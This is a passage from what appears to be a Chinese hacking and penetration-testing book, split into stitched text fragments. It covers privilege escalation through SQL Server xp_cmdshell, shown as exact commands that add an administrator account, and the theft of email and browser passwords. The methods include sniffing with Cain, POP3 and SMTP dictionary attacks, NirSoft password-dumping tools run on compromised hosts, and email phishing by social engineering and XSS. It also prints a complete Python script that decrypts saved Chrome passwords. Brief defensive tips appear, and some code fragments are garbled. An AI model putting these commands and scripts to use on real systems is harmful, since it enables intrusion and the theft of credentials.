在“SQLExec”下拉列表中选择“XP_cmdshell exec”选项，WebShell会自动给出脚本“Exec master.dbo.xp_cmdshell 'net user'”，修改其添加用户命令，即“Exec master.dbo.xp_cmdshell 'net user temp Wantian365.com!* /add '”，将添加用户“temp”，密码为“Wantian365.com!*”，如图3 111所示，单击“Query- ”按钮添加用户。 图3-111 添加用户 02 将普通用户添加到管理员组 在“SQLExec”下拉列表中继续选择“XP_cmdshell exec”选项，然后将temp用户添加到管理员组，即运行命令“Exec master.dbo.xp_cmdshell 'net localgroup administrators temp /add '”，添加成功后如图3-112所示。 图3-112 添加temp用户为管理员 03 通过“XP_cmdshell exec”命令查看系统用户 在“SQLExec”下拉列表中选择“XP_cmdshell exec”选项，WebShell会自动给出脚本“Exec master.dbo.xp_cmdshell 'net user'”，如图3-113所示，单击“Query”按钮查询系统用户。如图3-114所示，temp用户已经添加到系统中。 图3-113 查看用户 图3-114 查看系统用户 04 登录远程终端 打开远程终端连接登录，输入IP地址及刚才添加的用户名和密码，如图3-115所示，成功进入服务器，其操作系统为Windows 2008 Server。 图3-115 成功进入服务器 3.13.7 小结 通过sa权限在SQL Server 2005中提权相对比较简单，这也是将WebShell权限提权到系统级别的一种思路。另外，通过数据库备份，将批处理命令备份到启动文件夹下，系统重启后就会自动执行批处理命令，也能达到提权的效果。 未知 第4章 电子邮件密码的获取与破解 目前有一种漏洞是通过渗透邮箱密码，在电子邮件中获取CMS系统密码和账号等敏感信息，进而利用这些信息渗透内部网络。对邮箱和邮件服务器的渗透是渗透中最有价值的，也是相对最难的。对公司系统而言，很多个人邮箱中都会保存公司无线网络、各种CMS系统的账号和密码、服务器管理员账号和密码，在运营人员的邮箱中可能还有整个网络的配置信息等。获取这些人员的邮箱密码，对渗透整个网络而言无疑是如虎添翼！ 本章着重介绍邮箱密码的获取及渗透利用，包括如何获取Foxmail邮件，如何扫描POP3口令，如何使用工具软件直接获取本地保存的邮件账号和密码，最后还对电子邮件社会工程学攻击进行了探讨。 本章主要内容 Foxmail 6.0密码获取与嗅探 使用Hscan扫描POP3口令 使用Mail PassView获取邮箱账号和口令 使用MailBag Assistant获取邮件内容 电子邮件社会工程学攻击和防范 使用IE PassView获取网页及邮箱密码 Chrome浏览器存储密码获取技术及防范 使用EmailCrack破解邮箱口令"},
    {"text": "未知 4.1 Foxmail 6.0密码获取与嗅探 Foxmail 5.0邮件账号和密码的获取相对较简单，只要通过星号密码查看器即可查看保存在Foxmail软件中的用户密码，此外还有其他破解方式。但是，在Foxmail 6.0及之后的版本中，使用以上方法就无法获取其用户密码了。 那么，到底应该如何获取Foxmail 6.0及之后版本的账号和密码呢？通过研究，笔者发现至少有两种方法可以获取其账号和密码。一种方法是使用“月影”软件直接获取其密码，另外一种方法是使用Cain等嗅探工具配合Foxmail 6.0获取，下面详细介绍。 4.1.1 使用“月影”软件获取Foxmail 6.0密码及邮件资料 使用“月影”软件获取Foxmail 6.0密码及邮件资料的步骤如下。 01 获取邮件账号密码 运行月影Foxmail邮件转换/密码恢复器，选择Foxmail中需要破解的账号的Account.stg文件所在目录。选择完毕，会自动显示该邮件账号的相关信息，包括密码、POP3等，如图4-1所示。 02 获取邮件资料 在月影Foxmail邮件转换/密码恢复器主界面单击“Foxmail邮箱所在目录”设置框右边的浏览按钮，选择Foxmail邮箱所在目录，该目录是邮件账号的特定目录，即“mail”目录下的某个账号，如“someone@somemail.com”。选择正确后，会在该目录的*.box文件列表中显示邮箱，如图4-2所示。选择一个转换后的文件存储目录，单击“开始转换，并生成邮件列表”按钮，将邮件导出到本地目录。访问该目录，打开转换后的*.eml文件即可获得邮件资料。 图4-1 获取Foxmail邮件密码 图4-2 转换邮件到本地 03 验证邮件账号及密码 在浏览器中打开Web邮件登录地址，输入用户名和密码，成功进入该邮件账号。可以看到，该账号有589封邮件，如图4-3所示。 图4-3 验证邮件账号及密码 4.1.2 使用Cain软件获取Foxmail账号和密码 使用Cain软件获取Foxmail账号和密码的步骤如下。 01 安装并设置Cain软件 在本机安装Cain软件，安装完毕后需要安装WinPcap软件。运行Cain软件，然后单击菜单中的“Configure”选项，打开“Configuration Dialog”窗口，如图4-4所示，将“Options”设置区下的4个复选框全部选中，单击“确定”按钮完成设置。然后，在菜单中单击“Start sniffer”命令，开始监听。 图4-4 设置Cain软件 02 运行Foxmail 6.0软件获取邮件账号及密码 直接运行Foxmail 6.0软件，然后单击Foxmail中的“收取”按钮收取邮件，当Foxmail软件开始接收邮件时，单击“收取邮件”对话框中的“取消”按钮，取消邮件接收，如图4-5所示。 图4-5 收取邮件 在Cain中单击“Sniffer”标签页，在左侧列表中选择“POP3”选项，如图4-6所示，可以看到本地计算机上被监听的所有邮件账号和密码。 图4-6 查看被监听的邮件账号和密码 4.1.3 小结 在本次破解中，笔者先从网上搜集Foxmail账号破解方面的知识，然后通过不断搜索和整理，发现可用于破解邮件账号及密码的方法和工具。 Foxmail 6.0及以上版本改进了算法，修补了之前在密码保存方面的缺陷，破解时无法再通过星号密码查看器查看保存在软件中的密码了。但是，其密码在发送到POP3服务器进行验证的过程中仍然是明文，这就决定了邮件账号的安全问题没有得到实质上的解决，通过Cain等嗅探软件可以轻松获取经过该计算机的所有账号资料。 在网络攻防过程中，思维或者思路决定了最终的结果，思路一换天地宽。但这一切的前提条件就是基础，即要有扎实的理论和实践基础。"},
    {"text": "未知 4.2 使用Hscan扫描POP3口令 现在，很多邮箱服务器都支持POP3功能，通过POP3收取信件，收取信件时仅仅需要提供用户名和密码。目前有很多工具可以扫描POP3邮件的账号和口令，本例就通过Hscan扫描POP3账号进行攻击，获取POP3的账号和口令后，可以查看和发送邮件，并利用社会工程学发送木马邮件等进行攻击。本例只讲解如何扫描POP3口令，有关社会工程学攻击的案例放在后面的章节讲解。 4.2.1 设置Hscan 在Hscan中分别设置起始和结束扫描POP3的IP地址，然后在扫描参数中选择扫描模块，设置完毕后，单击“menu”菜单中的“start”命令开始扫描。 4.2.2 查看扫描结果 扫描结束后，直接打开Hscan.log文件，在其中搜索“pop3scan”，找到结果后，记下账号、口令及对应的IP地址，如图4-7所示。 图4-7 查看POP3扫描结果 4.2.3 登录Webmail邮件服务器 在IE浏览器中输入上面的IP地址并打开网页，进入Webmail登录界面，输入用户名和密码，如图4-8所示。 技巧 扫描POP3账号和口令后，在浏览器中输入的IP地址有可能无法打开网页，这时可以借助Google等搜索引擎进行搜索，有时能够直接搜索出该IP地址所在的邮件服务器地址。 图4-8 登录Webmail邮件服务器 4.2.4 查看邮件 登录成功后，可以进行所有操作，包括查看邮件及发送邮件等，如图4-9所示。 图4-9 查看邮件 4.2.5 口令扫描安全解决方案 对于口令扫描的安全防范措施主要从以下几个方面来考虑。 设置强大的口令。口令中包含大小写字母、数字、特殊字符，口令位数不能低于8位。 安装防火墙软件。防火墙软件能够有效防范各种攻击扫描。 对于数据库服务器，建议采取信任网络连接，仅允许信任的IP地址访问数据库服务器，且在安全策略中设置端口过滤，采取最小端口开放原则。 定期执行安全检查。定期检查系统，查看系统中是否存在一些可疑的新文件，查看系统的各种日志文件，并给出相应的安全处理措施。 4.2.6 小结 本例主要利用Hscan扫描POP3账号和口令。在扫描POP3账号和口令时，只要知道用户账号，结合字典扫描出口令概率还是挺高的。扫描出账号和对应的口令后，使用它们进行登录。登录邮件服务器后，可以进行查看邮件、发送邮件及获取该账号的所有邮件内容等操作。如果这些邮件是办公邮件，那么从安全的角度来讲，容易造成邮件内容泄露，再配合社会工程学实施攻击，危害相当大。 未知 4.3 使用Mail PassView获取邮箱账号和口令 随着网络技术的发展，电子邮件已经成为人们生活中一个重要的组成部分，日常联系和工作中的许多事情都是通过Email进行信息交换的，因此，在个人电子邮箱中极有可能保存着一些重要的信息——只要拥有邮箱账号和口令，在世界上任何一个地方，只要能够上网，均能获取该电子邮箱账号的邮件。 本案例使用Mail PassView在两种模式下获取邮件账号和密码。Mail PassView的下载地址为http://www.nirsoft.net/utils/mailpv.html。Mail PassView的最新版本为1.8.5，目前支持Outlook 2016的口令获取。 4.3.1 通过Radmin远程获取邮箱账号和密码 通过Radmin的文件传输功能将Mail PassView上传到安装有Radmin服务端的计算机上，然后选择Radmin的完全控制功能，进入完全控制模式。运行Mail PassView，其结果如图4-10所示，可以很清楚地看到“Name”、“Email”、“Server”、“User”、“Password”等关于电子邮件的详细信息。 图4-10 通过Radmin获取邮箱账号和口令 4.3.2 通过远程终端获取邮箱账号和密码 登录远程终端的桌面以后，通过VBS脚本或者远程控制软件将Mail PassView上传到远程终端，然后运行Mail PassView，即可获取系统中存在的邮箱账号和口令，如图4-11所示。 图4-11 通过远程终端获取邮箱账号和口令 说明 （1）可以直接通过Mail PassView将获取的邮箱账号和密码保存为一个文件。选中所有记录，依次选择“File”→“Save Selected Item”选项，将所有信息保存为一个TXT文件。保存完毕后可以很方便地查看“Name”、“Email”、“Server”、“User”、“Password”等关于电子邮件的详细信息。 （2）Mail PassView需要在图形界面下执行，不能在DOS或者反弹的Shell中执行。"},
    {"text": "C:\\Documents and Settings\\simeon\\Local Settings\\Application Data\\Identities C:\\Documents and Settings\\simeon\\Local Settings\\Application Data\\Identities\\{A17F510D- 109E-4006-B460-73E3EB971094} C:\\Documents and Settings\\simeon\\Local Settings\\Application Data\\Identities\\{A17F510D- 109E-4006-B460-73E3EB971094}\\Microsoft\\Outlook Express 注意 （1）在覆盖原有文件前，一定要对其进行备份，或者直接复制原有文件到一个新文件夹中，防止在覆盖文件后对原有系统造成破坏。"},
    {"text": "如果用户名为“Administrator”，则文件对应位置应该为“C:\\Documents and Settings\\Administrator\\Application Data\\Identities\\{4424572C-E99E-4523-B33D-A0AB0C29E874}”。"},
    {"text": "2.使用Outlook Express导入文件进行恢复 打开Outlook Express程序，依次单击“文件”→“导入”→“邮件”选项，在“Outlook Express导入”窗口选择要导入电子邮件程序的来源，如图4-12所示，选择“Microsoft Outlook Express 6”选项，然后单击“下一步”按钮。 图4-12 选择要导入电子邮件的来源 说明 Outlook Express是默认安装在系统中的，如果程序菜单中没有Outlook Express，可以到C:\\Program Files\\Outlook Express目录下运行可执行文件msimn.exe进行启动。"},
    {"text": "4.4.2 使用Mailbag Assistant恢复邮件内容 下面介绍Mailbag Assistant的相关内容。 1.Mailbag Assistant简介 Mailbag Assistant的最新版本是4.01，可以到http://www.onlinedown.net/softdown/ 5604_2.htm下载。"},
    {"text": "另外，虽然Mailbag Assistant的说明中并没有提到可以打开Outlook Express 5的邮件文件，但是笔者试用后发现Mailbag Assistant可以打开此类文件。 2.安装与设置Mailbag Assistant 将Mailbag Assistant下载到本地直接运行，安装过程非常简单，按照提示进行即可。 安装完成后运行Mailbag Assistant，会弹出向导要求用户进行设置，如图4-15所示，可以取消设置，也可以根据提示进行设置。 在本例中，直接打开Mailbox Assistant，如图4-16所示，选择邮件所在文件夹，可以看到一共有9个文件，可以选择一个或者多个文件然后打开。 图4-15 设置Mailbag Assistant 图4-16 选中邮件文件 说明 （1）Mailbag Assistant默认有31天免费使用期。"},
    {"text": "3.获取邮件内容 如果邮件文件没有损坏，则可以在Mailbag Assistant主窗口看到邮件的内容，其中包含邮件发送时间、发送者、邮件地址、主题、附件、文件名称等信息，如图4-17所示。 单击选中第1条记录，Mailbag Assistant主窗口下方会显示邮件的内容。"},
    {"text": "图4-17 显示邮件内容 4.导出邮件附件 在主窗口中选中有附件标识的邮件记录，单击鼠标右键，在弹出的快捷菜单中选择“Extract Attachments…”选项，如图4-18所示，然后选择一个导出的目标文件夹。 图4-18 选择导出的目标文件夹 如果没有什么意外，就会出现一个导出信息对话框，如图4-19所示，表示有3个附件导出成功。 图4-19 附件导出成功提示信息 5.导出所有邮件 选中当前窗口中的所有邮件，依次选择“File”→“Export E-mail As”→“EML Files”选项，将邮件导出为 *.eml文件，如图4-20和图4-21所示。"},
    {"text": "图4-20 导出邮件文件 图4-21 成功导出的邮件 4.4.3 邮件内容防查看措施 对于邮件内容的防范措施，首先是加强个人计算机的安全措施，对一些涉及个人敏感信息的邮件妥善处理，如另外存为加密文件。 对一些账号开通等信息，应及时修改密码及个人资料，以防止入侵者或者他人在获取邮件内容后对这些信息进行利用。"},
    {"text": "未知 4.5 电子邮件社会工程学攻击和防范 社会工程学是信息网络安全的一个新的分支，其主要特点是利用人的弱点进行攻击。 在正面渗透越来越困难的情况下，黑客越来越多地借助社会工程学，包括国内出现的密码“泄露门”，以及安全界比较著名的APT攻击，都是典型的利用社会工程学进行攻击的案例。"},
    {"text": "本节从社会工程学攻击的现状出发，详细研究电子邮件社会工程学攻击的应用手段和方式，并在此基础上对电子邮件社会工程学攻击的防范措施进行研究和探讨，希望通过这些安全防范措施降低被成功攻击的概率。"},
    {"text": "根据中国互联网络信息中心的数据统计，我国上网用户已经超过5亿，手机上网用户超过3亿，一旦接入互联网，就会成为黑客攻击的目标。 国家互联网应急中心发布的《2011年中国互联网网络安全态势报告》指出：我国遭受境外网络攻击持续增多；"},
    {"text": "在安全防范软件较为丰富的情况下，对个人主机渗透常用的方法就是电子邮件社会工程学攻击，个人计算机一旦被攻击者成功入侵，轻者个人资料泄露，如“艳照门”事件，重者国家机密泄露，给个人和国家带来损失。 现在，电子邮件已经成为个人工作和生活的重要组成部分，因此，防范针对个人发起的电子邮件攻击就非常有必要了。 目前，国内有关电子邮件社会工程学攻击的研究较少，而国外已经将电子邮件社会工程学攻击列为重要资讯部门必须培训的课程之一。 笔者通过走访黑客、查询国内外文献，对电子邮件社会工程学的手段、攻击方式进行了深入的研究。"},
    {"text": "1.社会工程学的定义 社会工程学（Social Engineering）是把对物的研究方法全盘运用到对人本身的研究上，并将其变成技术控制的工具。 社会工程学是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段而取得自身利益的方法。 2.社会工程学攻击 社会工程学攻击就是利用人们的心理特征，骗取用户的信任，获取机密信息、系统设置等不公开资料，为黑客攻击和病毒感染创造有利条件。"},
    {"text": "网络安全往往容易被入侵者从内部攻破，而利用社会工程学进行网络攻击，有点像电影或者小说中的“卧底”，在获取足够有用的信息后成功攻破网络。"},
    {"text": "由于安全产品的技术越来越完善，使用这些技术的人就成为整个环中最为脆弱的部分，加之人类具有贪婪、自私、好奇、信任等心理弱点，因此，通过恰当的方法和方式，入侵者完全可以从相关人员那里获取入侵所需的信息。"},
    {"text": "运用社会工程学进行网络攻击，可以使网络攻击者不需要付出很大的代价就达到他们所要达到的目的，所以被越来越多的攻击者所青睐。 4.5.2 常见的电子邮件社会工程学攻击方法 通过电子邮件进行攻击的常见手法主要有5种，分别是伪造邮件地址或者信任关系攻击、人性心理弱点攻击、恶意攻击、0day攻击和跨站攻击。 1.伪造邮件地址或者信任关系攻击 伪造攻击主要通过事先收集被攻击对象的各种信息，特别是有电子邮件往来的各种信息，然后假冒“信任”的联系人给被攻击对象发送邮件，被攻击者收到邮件后，看到是“信任”的关系，因此不加怀疑地直接打开邮件附件，或者回复攻击者想获取的信息。"},
    {"text": "2.人性心理弱点攻击 心理弱点攻击是电子邮件社会工程学攻击最主要的手法之一，该攻击方法利用电子邮件夹带恶意程序或恶意链接进行攻击，运用各种人性弱点吸引使用者开启问题邮件，问题邮件通常与被攻击者的兴趣有关，利用人的贪心等使被攻击对象无法对问题邮件免疫。"},
    {"text": "3.恶意攻击 攻击者通过发送捆绑木马的附件或者链接地址（链接地址往往带有挂马功能），诱使用户打开附件或者访问恶意构建的网页，从而感染病毒。 4.0day攻击 只要是软件，就可能存在有漏洞，未能及时修补就可能遭到利用并被入侵。"},
    {"text": "在软件漏洞点修补前出现的针对该漏洞的攻击行为称为零时差攻击（0day攻击）。 在软件漏洞更新补丁程序发布后的n天，利用用户还未修补的软件漏洞进行攻击，称为nday攻击。"},
    {"text": "攻击者通过0day漏洞交易渠道或者自己挖掘0day漏洞，掌握了一些文件格式的未公开漏洞，如Office系列、PDF系列、Flash系列及IE等，通过0day漏洞利用工具，将木马与0day漏洞捆绑在一起，生成一个正常格式的文件，被攻击者打开该文件后即感染木马或者执行指定的可执行文件。"},
    {"text": "5.电子邮件跨站攻击 跨站攻击，即“Cross Site Script Execution”（通常简写为“XSS”），是指攻击者利用网站程序对用户输入过滤不足，输入可以显示在页面上的、能够对其他用户造成影响的HTML代码，从而盗取用户资料、利用用户身份进行某种操作或者对访问者进行病毒侵害的一种攻击方式。"},
    {"text": "攻击者通过对被攻击者电子邮件服务器所使用的系统进行研究，发现电子邮件服务器系统存在的各种跨站漏洞，然后将跨站漏洞利用代码嵌入富文本的邮件内容中，通过网页或者特定电子邮件发送软件，将构造好的邮件发送给被攻击者。 被攻击对象查看电子邮件时执行跨站代码，会要求重新输入用户名和密码。 攻击者通过事先构造好的电子邮件登录页面截获用户名和密码，然后将用户名和密码重新定向到真实的电子邮件地址，从而获取电子邮箱口令及Cookie等信息。"},
    {"text": "同时，还需要申请发送邮件时使用的电子邮件账号，通过模拟攻击对象的电子邮箱进行邮件发送测试，防止邮件不能通过邮件服务器安全策略被当成垃圾邮件处理的情况发生。"},
    {"text": "1.技术方面的防范 （1）安装杀毒软件和防火墙等安全防范软件 操作系统安装完成后，一定要安装杀毒软件和防火墙软件。 要养成定期杀毒的好习惯，对下载的邮件和软件均要进行杀毒，还要定期对系统进行杀毒。 （2）应用软件和安全防范软件更新 目前，Windows操作系统、应用软件和安全防范软件都会在一定程度上存在漏洞，如果网上已经公布了漏洞而用户未及时修补，就比较容易受到攻击。 因此，需要设置Windows操作系统自动更新系统补丁，更新Adobe Reader、Flash、IE等应用软件到最新版本或者下载补丁程序，每天更新杀毒软件病毒库。 （3）使用安全的邮件查看技术 在虚拟机中查看邮件，即使用目前的虚拟机技术，通过在物理机上安装VMware Workstation重新安装一个操作系统，所有邮件的查看操作均在虚拟机中进行，查看前要做快照，邮件处理完毕再使用快照恢复，这样，即使系统感染木马，也不会影响实体机。 使用不同的邮件查看软件时，应尽量熟悉所使用软件的基本设置，关闭自动下载图片和邮件预览功能，以纯文字方式打开邮件。"},
    {"text": "2.安全意识方面的防范 （1）警惕要求输入用户名和密码的页面 在电子邮件社会工程学攻击中，邮件跨站攻击是最常见和最有效的一种攻击方法。"},
    {"text": "（3）抵制“诱惑” 现代社会，信息极度丰富，多看原始网页的内容，针对“朋友”发送的电子邮件，不心动、不冲动，对自己感兴趣、内容有吸引力的邮件，要验明身份，特别是带有附件的邮件，要抵制“诱惑”，慎重打开。"},
    {"text": "4.5.5 小结 表面上看，电子邮件社会工程学攻击只是简单的欺骗，但是在网络安全领域，它的攻击效果往往是最显著的，究其原因是它包含了极其复杂的心理学因素，所以比其他入侵方式更难防范。 只要我们时刻提醒自己“攻击随时有可能在身边发生”，全面了解社会工程学的攻击方法和手段，具备一定的安全防范知识和防范措施，在面对社会工程学攻击的时候就能识别其真面目，处于主动地位，将遭受攻击的风险降至最低。"},
    {"text": "未知 4.6 使用IE PassView获取网页及邮箱密码 对于个人计算机来说，个人账号和密码是入侵者最为关心的事情，特别是邮件账号和网页账号——通过这些账号可以查看和获取用户的信息。在一般情况下，这些账号通常是通过键盘记录来获取的，但是键盘记录软件有时也会“怠工”，不会完整记录账号信息。如今越来越多的网站都采用了交互方式，且很多网站都有一定的权限保护机制，需要输入用户名和密码进行验证，验证成功后才能使用网站提供的资料和服务。在输入用户名和密码时，IE浏览器的高速缓冲存储器（Cache）会记录这些数据，而通过一些工具软件可以轻松地读取这些数据，也就意味着可以获取用户输入的账号和密码。下面对IE PassView进行介绍，然后给出一个使用IE PassView通过网页获取用户名和密码的案例。 4.6.1 IE PassView简介 IE PassView是Nir Sofer网站开发的一款功能强大、使用简单的网页密码获取软件，有关该软件的介绍请访问http://www.nirsoft.net/utils/internet_explorer_password.html。IE PassView的最新版本为1.32，下载地址为http://www.nirsoft.net/toolsdownload/iepv.zip。该软件属于获取密码类软件，因此可能会被杀毒软件查杀。 IE PassView是一个小巧的密码管理工具，它能获取互联网浏览器存储的密码，并允许删除其中保存的密码，它支持的浏览器版本从IE 4到IE 11。 4.6.2 获取保存的网页及邮箱密码 IE PassView是一个独立的可执行软件。直接运行该软件，会自动获取系统中所有通过浏览器访问的网页密码、访问地址、用户名、类型等信息，如图4-22所示。 图4-22 自动获取用户名称以及网页密码信息 IE PassView只能在GUI模式下执行，不能在反弹的DOSShell中执行。 4.6.3 对获取的信息进行处理 处理获取的信息有两种方式：一种是手工记录获取的用户网页密码及账号等信息；另外一种是直接通过IE PassView将获取的网页密码保存为一个文件。 在IE PassView中选中所有记录，依次选择“File”→“Save Selected Item”选项，将所有信息保存为一个TXT文件。保存后，我们可以直观、方便地查看密码、用户名、访问地址、类型等信息，如图4-23所示。 图4-23 处理获取的账号及密码等信息 4.6.4 小结 在用IE PassView获取的网页用户名和密码中，有一些是属于网站管理员的，因此可以通过这些信息继续渗透和控制网站。 可以在计算机上安装Radmin等远程控制软件，然后通过完全控制模式运行IE PassView程序，以快速获取计算机中的网页密码和用户名。 本节的案例很简单，通过在肉机上执行，就可以获取系统中存在的网页用户名和密码。此外，通过获取的信息还可以进行渗透和控制。"},
    {"text": "未知 4.7 Chrome浏览器存储密码获取技术及防范 用户在上网过程中使用最多的工具就是浏览器，目前主流的浏览器有IE、Chrome、Firefox，以及国内以360为代表的360浏览器（QQ浏览器、猎豹浏览器、百度浏览器）。 在使用浏览器访问网站时，有些浏览器会自动提示用户是否保存登录的用户名和密码，有些浏览器则需要设置是否自动保存登录密码。"},
    {"text": "例如，在办公室里，如果一个员工离开计算机时没有锁定屏幕，其他人可以使用该员工的计算机浏览器下载密码获取软件并运行，然后用手机拍下获取的密码，最后删除软件，清除痕迹，该员工的浏览器密码完全被他人窃取。"},
    {"text": "控制主机后，通过后台或者前台可以直接获取浏览器的密码。 4.7.1 使用WebBrowserPassView获取浏览器密码 下面介绍WebBrowserPassView的有关内容。 1.WebBrowserPassView简介 一看名字就可以知道，WebBrowserPassView是一款浏览器密码获取软件。 WebBrowserPassView的使用方法非常简单，启动后只要几秒，就能获取浏览器所记录的网址、账号及密码了。 WebBrowserPassView目前支持IE1～IE10、Firefox所有版本、Safari、Chrome及Opera等主流浏览器，其官方网站地址为http://www.nirsoft.net/utils/web_browser_ password.html，下载地址为http://www.nirsoft.net/toolsdownload/webbrowserpassview.zip。 2.使用WebBrowserPassView获取密码 下载WebBrowserPassView后直接解压，运行webbrowserpassview.exe，即可获取密码。"},
    {"text": "如图4-24 所示，会显示网址、浏览器类型、用户名、密码、创建时间等信息。 图4-24 获取浏览器保存的密码 双击某条记录，会显示该记录的详细信息，如图4-25所示。"},
    {"text": "图4-25 获取记录的详细信息 4.7.2 通过编写程序获取Chrome浏览器保存的密码 下面我们讨论通过编写程序获取Chrome浏览器中保存的密码的过程。 1.Chrome浏览器的密码存储机制 Chrome浏览器加密后的密钥存储于“%APPDATA%\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data”下的一个SQLite数据库中，这里的“APPDATA”是由系统或者用户环境变量决定的。"},
    {"text": "Provisional_save_manager_->SubmitPassed(); if (provisional_save_manager_->HasGeneratedPassword()) UMA_HISTOGRAM_COUNTS(\"PasswordGeneration.Submitted\", 1); If (provisional_save_manager_->IsNewLogin() &amp;&amp; !provisional_save_manager_ ->HasGeneratedPassword()）{ Delegate_->AddSavePasswordInfoBarIfPermitted( Provisional_save_manager_.release()); } else ｛ provisional_save_manager_->Save(); Provisional_save_manager_.reset(); ｝ 当我们登录成功且使用的是一套新的证书时（也就是说，我们是第1次登录该网站），Chrome就会询问我们是否需要记住密码。"},
    {"text": "Bool Encrypt::EncryptString(const std::string&amp; plaintext,std::string* ciphertext) { DATA_BLOB input; Input.pbData = static_cast<DWORD>(plaintext.length()); DATA_BLOB output; BOOL result = CryptProtectData(&amp;input, L\"\",NULL, NULL, NULL, 0,&amp;output); If (!result) Return false; //复制操作 Ciphertext->assign(reinterpret_cast<std::string::value_type*>(output.pbD ata); LocalFree(output.pbData); Return true; } 以上代码的最后利用了Windows API函数CryptProtectData（请记住这个函数，因为后面会提到它）来加密。"},
    {"text": "2.编写脚本获取Chrome浏览器保存的密码 因为考虑到在大多数情况下无法远程登录服务器去执行GUI程序，所以，做一个Python脚本是最佳选择，其唯一的缺点是如果Windows不支持Python环境，将Python程序打包成EXE文件的话，文件体积会比较大。"},
    {"text": "因为用户不同，文件夹就不同，我们需要知道LOGIN DATA文件的具体路径，所以，我们需要使用Python中的os.environ从环境变量中读取LOCALAPPDATA的路径，剩下的路径是谷歌默认生成的。"},
    {"text": "google_path = r' Google\\Chrome\\User Data\\Default\\Login Data' file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path) #Login Data文件可以利用Python中的sqlite3库来操作 conn = sqlite3.connect(file_path) for row in conn.execute('select username_value, password_value, signon_realm from logins'): #利用Win32crpt.CryptUnprotectData对加密的密码进行解密操作 cursor = conn.cursor() cursor.execute('select username_value, password_value, signon_realm from logins') #接收全部返回结果 for data in cursor.fetchall(): passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0) #利用 win32crypt.CryptUnprotectData 解密后，通过输出 passwd 这个元组中的内容，可以 逐一得到Chrome浏览器存储的密码 这里用到了CryptUnprotectData函数，与之对应的是之前提到的CryptProtectData。"},
    {"text": "#coding:utf8 import os, sys import sqlite3 import win32crypt google_path = r'Google\\Chrome\\User Data\\Default\\Login Data' db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path) conn = sqlite3.connect(db_file_path) cursor = conn.cursor() cursor.execute('select username_value, password_value, signon_realm from logins') #接收全部返回结果 for data in cursor.fetchall(): passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0) if passwd: print '-------------------------' print u'[+]用户名: ' + data[0] print u'[+]密码: ' + passwd[1] print u'[+]网站URL: ' + data[2] 运行以上脚本，效果如图4-26所示。"},
    {"text": "当然，在取得服务器WebShell的情况下，如果有执行权限但无法提权，可以利用这种方法挖掘密码，进而利用社会工程学思路对服务器的RDP服务密码进行暴力破解。"},
    {"text": "1.打造专用访问系统 现在，计算机的性能都很不错，可以在本机搭建虚拟机平台，单独用一台虚拟机来访问重要系统和重要网站。 也要为虚拟机设置系统访问口令，这样实体机即使未锁屏，其他人也不能快速获取其口令。 专机专用可以防止感染病毒及账号被盗。"},
    {"text": "未知 4.8 使用EmailCrack破解邮箱口令 在无法直接进行攻击时，邮件木马攻击及邮件账号破解攻击无疑是黑客的上佳选择。邮件木马攻击成功有两个必要条件：一是木马不被查杀，二是用户打开邮件并执行了隐藏在邮件中的木马程序。 随着用户网络安全意识的提高，邮件木马攻击的成功率已经大大降低。而通过成功破解邮件账号，黑客可以很方便地了解用户的行为、获取邮件中的资料、获取邮件主人的个人信息等。邮件账号破解一般有3种情况：第一种是用户自己忘记了邮箱密码，通过邮件服务器的“忘记密码”模块无法重新设置或者获取原密码；第二种是出于商业目的或者好奇，想知道对方邮件中内容，因此对邮件账号进行破解；第三种是专业性攻击，攻击邮箱以获取资料、掌握个人动态及获取个人信息等。本案例仅仅演示如何破解邮件账号。 4.8.1 通过邮件账号获取SMTP服务器地址 邮件账号“@”后的地址就是服务器地址的后缀。例如，邮件账号“vip2008@vip. sina.com”的邮件服务器地址是“vip.sina.com”，有些时候会在这些地址前加上“mail.”或者“webmail.”。如果能在IE浏览器中打开这些地址，说明该服务器是可用的。 打开邮件服务器的页面以后，通过其网页中的帮助等信息可以获取邮件运营商公开提供的SMTP和POP3服务器地址。如图4-27所示，新浪VIP邮箱的SMTP和POP3服务器地址分别是“smtp.vip.sina.com”和“pop3.vip.sina.com”。 对外提供免费/收费邮件服务的邮件运营商，一般都会在网站上提供邮件使用帮助信息，通过这些信息可以快速、准确地获取其SMTP和POP3邮件服务器的地址，这些信息往往与Foxmail和Outlook的设置有关。因此，查看Foxmail和Outlook的设置信息，即可获取邮箱的SMTP和POP3服务器地址信息。 图4-27 获取新浪VIP邮箱账号的SMTP和POP3服务器地址 4.8.2 运行EmailCrack 图4-28 运行EmailCrack 运行EmailCrack，如图4-28所示，默认提供了126.com邮件服务器的地址。在进行破解时，首先要选择或者设置邮件服务器的地址，然后要设置邮箱账号名。 说明 （1）邮箱账号名就是被破解的邮件账号。有的账号需要输入完整的电子邮件地址，有的只需要输入电子邮件地址中“@”前面的部分即可。 （2）EmailCrack是通过SMTP服务器来对邮件账号进行破解的，因此在破解时需要知道SMTP服务器的地址。如果使用POP3邮件破解软件，则需要知道POP3服务器的地址。 4.8.3 设置字典 图4-29 选择密码字典 单击“字典设置”按钮，选择一个密码字典。在EmailCrack中，密码字典文件是以“.dic”为后缀的文件。DIC文件可以通过专业的字典生成工具生成。 如图4-29所示，选择密码字典1.dic，单击“打开”按钮。 4.8.4 破解邮件账号 如图4-30所示，服务器地址为“smtp.126.com”，邮件账号为“bf**”，单击“开始扫描”按钮开始邮件账号的破解，在“扫描信息”区域会显示尝试的密码信息。 账号破解成功后会给出正确的密码，如图4-31所示。 图4-30 破解邮件账号 图4-31 破解得到的密码 说明 有些邮件服务器采取了安全措施，通过EmailCrack获取邮件账号的密码后，系统会限制用户在10分钟或者1小时内登录邮件服务器。 4.8.5 小结 邮件账号的破解过程非常简单，只需要知道邮件账号的SMTP服务器名称并选择一个字典文件即可。 邮件账号破解成功与否，主要取决于密码字典的强度高低和时间长短。在理论上，如果邮件服务器未做相应的防范措施，在足够长的时间内用户的账号是可以被破解的。因此，要防止邮件账号被破解，最好的方法就是设置一个足够强健的密码，让破解者花费1年甚至更长的时间都无法破解——笔者认为，很少有人会有这个耐心来破解这么强健的密码。 未知 第5章 无线网络密码的获取与破解 无线网络由于方便易用，不需要网线，因此大受欢迎。目前，基本上每一个上网家庭就是一个无线热点，办公场所、社区、机场、咖啡厅等公共区域也大量使用无线网络。而无线网络的使用最关键的一点是必须有无线密码。 